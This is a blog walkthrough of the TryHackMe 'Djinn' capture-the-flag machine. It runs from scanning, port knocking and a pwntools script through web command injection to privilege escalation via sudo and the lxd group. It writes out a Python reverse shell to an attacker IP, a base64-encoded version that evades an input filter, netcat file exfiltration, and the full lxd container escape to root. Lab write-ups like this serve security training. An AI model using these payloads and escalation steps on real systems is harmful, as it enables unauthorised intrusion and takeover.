___               _   ___   ___ 
|  _|_____ ___ ___| |_|_  | |  _|
|  _|     | .'|_ -|   |_| |_| . |
|_| |_|_|_|__,|___|_|_|_____|___|
                 u/fmash16's page

TryHackMe - Djinn writeup

We add the machine IP to out /etc/hosts file

echo "10.10.248.62 djinn.thm" >> /etc/hosts

Nmap Scan

nmap -sC -sV -sS -oN nmap.out djinn.thm
nmap -Pn -p- djinn.thm

Open ports:

Enumeration

ftp -port 21

ftp allows anonymous login. So we login with username anonymous and null password. Found 3 files. Contents are as following

Port 1337

We try connecting to the port 1337 with nc

nc djinn.thm 1337

And we get a “game” that tells us that we can get our gift after 1000 successful simple maths.

Winning the game

In order to win the game, lets write a simple python script that will perform and submit the 1000 calucultaions for us. We will be using pwntools for this. It can be installed using

sudo apt-get install python-pwntools

Our python script stands as follows:

#! /usr/bin/env python

import sys
from pwn import *

def solve(hostname, port):
    conn = remote(hostname, port)
    banner = conn.recvuntil(b"gift.\n")
    problem = (conn.recvline()).decode()
    print(problem)
    count = 1

    for i in range(1001):
        var1 = int(problem.split(", ")[0][1:])
        var2 = int(problem.split(", ")[2][:-2])
        op = problem.split(", ")[1][1]
        if op=="/":
            content = str(var1/var2)
        elif op=="*":
            content = str(var1*var2)
        elif op=="+":
            content = str(var1+var2)
        elif op=="-":
            content = str(var1-var2)
        print(content + "-----------------------" + str(count))
        conn.send((content+"\r\n").encode())
        if count == 1001:
            while True:
                print(conn.recvline())
        else:
            data = conn.recvline().decode()
            print(data)
            problem = data[2:]
            count = count +1

if __name__ == "__main__":
    hostname = sys.argv[1]
    port = int(sys.argv[2])
    solve(hostname, port)

We run this script and wait for our gift.

python solve.py 10.10.248.62 1337

And we get our gift

These seem like port numbers: 1356, 6784, 3409

Port knock

This was new to me. Port knocking adds extra security against mass port scans. As per wikipedia, “In computer networking, port knocking is a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports. Once a correct sequence of connection attempts is received, the firewall rules are dynamically modified to allow the host which sent the connection attempts to connect over specific port(s). A variant called single packet authorization (SPA) exists, where only a single”knock” is needed, consisting of an encrypted packet. The primary purpose of port knocking is to prevent an attacker from scanning a system for potentially exploitable services by doing a port scan, because unless the attacker sends the correct knock sequence, the protected ports will appear closed. ”

So if we knock on a certain set of ports in a certain serial, it can open another port running a service. Now we saw before in out nmap scan that port 22 for SSH was “filtered”. Meaning nmap could not determine the state of the port and it can be either open or closed. As we tried to ssh into the box, we got a closed port. So maybe through knocking the ports in the seiral gotten from the port 1337 game, we can get the ssh port to open?

We try the knocking using this simple bash loop that knocks the ports using nmap

for ip in 1356, 6784, 3409; do nmap -Pn -p $ip djinn.thm; done

Now we can connect to port 22! But we see that the creds found in the ftp are not correct. We get a permission denied with the ftp found creds.

Port 7331 enum

Lets have a look at this port. Netcating it, we don’t receive anything, but we connect to it. We go to the port on browser and find a web server running.

The page doesn’t have any functionality.

ffuf fuzzing

We fuzz the URI using ffuf

ffuf -c -w /usr/share/dirbuster/directory-list-2.3-medium.txt -u \
    http://djinn.thm:7331/FUZZ -e .txt,.php

We find two pages:

Going over to http://djinn.thm:7331/wish we find

Remote Code Executeion

So we have some sort of RCE here. We input a command id and get redirected to the following URL

http://djinn.thm:7331/genie?name=uid%3D33%28www-data%29+gid%3D33%28www-data%29+groups%3D33%28www-data%29%0A

Reverse shell (www-data)

So the output of the command gets passed into the “name” var of the /genie page. Lets try getting a reverse shell with python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.17.253",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And we get redirected to the following

http://djinn.thm:7331/genie?name=Wrong+choice+of+words

“Wrong choice of words”. There appears to be some filtering of the user supplied input here. Lets try base64 encoding our payload and then passing it to bash as follows:

python -c \
'import socket,subprocess,os;\
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\
s.connect((\"10.9.17.253\",1234));\
os.dup2(s.fileno(),0);\
os.dup2(s.fileno(),1);\ 
os.dup2(s.fileno(),2);\
p=subprocess.call([\"/bin/sh\",\"-i\"]); | base64'

And we get our encoded payload. Now we pass this payload, decode it and execute it on the box. We pass the following cmd:

echo
cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuOS4xNy4yNTMiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOycK
|
base64 -d | bash

We open a nc listener on port 1234 and get a shell back.

Privilege escalation : User nitish

Looking around the machine, we find two users under the home directory:

In the home directory of the user nitish, we find a hidden directory “.dev” that contains a file creds.txt. The file gives us the creds for the user nitish

nitish:p4************n9

Now we can login as nitish to the box using ssh.

Privilege Escalation : User sam

Checking for the sudo permissions of the user with sudo -l, we find the following

So the user can execute /usr/bin/genie as the user sam. So we run

sudo -u sam /usr/bin/genie

This prints us the usage

We can print the help message using -h tag

Let’s look if we can find some source for the program genie using find

find / -name "*genie*" 2>/dev/null

And we find the following

We find that there is a man page for genie. Let’s have a look at it.

We see that we can get a shell with the -p tag and execute any command using the “-cmd” tag. And we see that the program runs as sam SUID. So let’s run the following and see what happens

sudo -u sam /usr/bin/genie -p /bin/bash -cmd ls

And we get a shell as user sam.

nitish@djinn:~$ sudo -u sam /usr/bin/genie -p /bin/bash -cmd ls
my man!!
$ id
uid=1000(sam) gid=1000(sam)
groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare)
$

Privilege Escalation - Root

First way - sudo permissions

Checking for sudo permissions for the user sam, we find the following

So running the following as su we get the following prompt:

The other options does not seem to give us much. So we have to somehow guess the correct number. Let’s see if we can find some source.

In the home directory of the user sam , we find a file name “.pyc”. This is supposed to be a python byte compiled file

We transfer the file to our local machine with netcat

nc 10.9.17.253 8888 < .pyc      # On target
nc -lnvp 8888 > program.pyc     # On host

We can decompile the pyc file using uncompyle6

uncompyle6 program.pyc > program.py

The decompiled program is as follows:

# uncompyle6 version 3.7.2
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.3 (default, May 17 2020, 18:15:42)
# [GCC 10.1.0]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 13:05:18
from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '


def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:   <=====================================================
        system('/bin/sh')
    else:
        print 'Better Luck next time'


def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)


def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice


def main(op):
    if op == 1:
        naughtyboi()
    elif op == 2:
        guessit()
    elif op == 3:
        readfiles()
    elif op == 4:
        print 'work your ass off!!'
    else:
        print 'Do something better with your life'


if __name__ == '__main__':
    main(options())
# okay decompiling lago.pyc

So this is the source of the /root/lago file that we have the run permissions for. Analyzing the source, we see that the number supplied is comapared with a number generated randomly. Anyway, randomly trying to enter the word “num” as the number, we succeed! Couldn’t figure out why that happened though. Will update as soon as I figure it out.

Second (Cooler) way : lxc container

Looking at the box a bit more, I had a look at the group memberships of the the user sam and found that the user is a member of the group lxd !

We can privesc a member of the group to root easily using this. This method has been explained really well in hackingarticles

So we download and build the alpine linux image on our host as follows:

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

We get the build image alpine-v3.12-x86_64-20200706_0859.tar.gz. Now we need to transfer this file to the target machine. So lets fire up a python http server

python3 -m http.server

On the target, we download the build lxc image

wget http://10.9.17.253:8000/alpine-v3.12-x86_64-20200706_0859.tar.gz

Now let’s add this image to the lxd list

lxc image import ./alpine-v3.12-x86_64-20200706_0859.tar.gz --alias pwn

We got a permission denied saying that we cannot write to /home/nitish/.config. So our home directory is not right. So we run the following

export HOME=/home/sam
lxc image import ./alpine-v3.12-x86_64-20200706_0859.tar.gz --alias pwn
lxc image list

And now we succeed.

Now we run the following to get root. We also need to create a storage additionaly here as follows.

lxc storage create my-storage dir
lxc profile device add default root disk path=/ pool=my-storage

Then

lxc init pwn ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root \
recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id

And we got root!

In order to get the root flag, we go to /mnt/root/root and find an executable proof.sh, we run it to get our flag.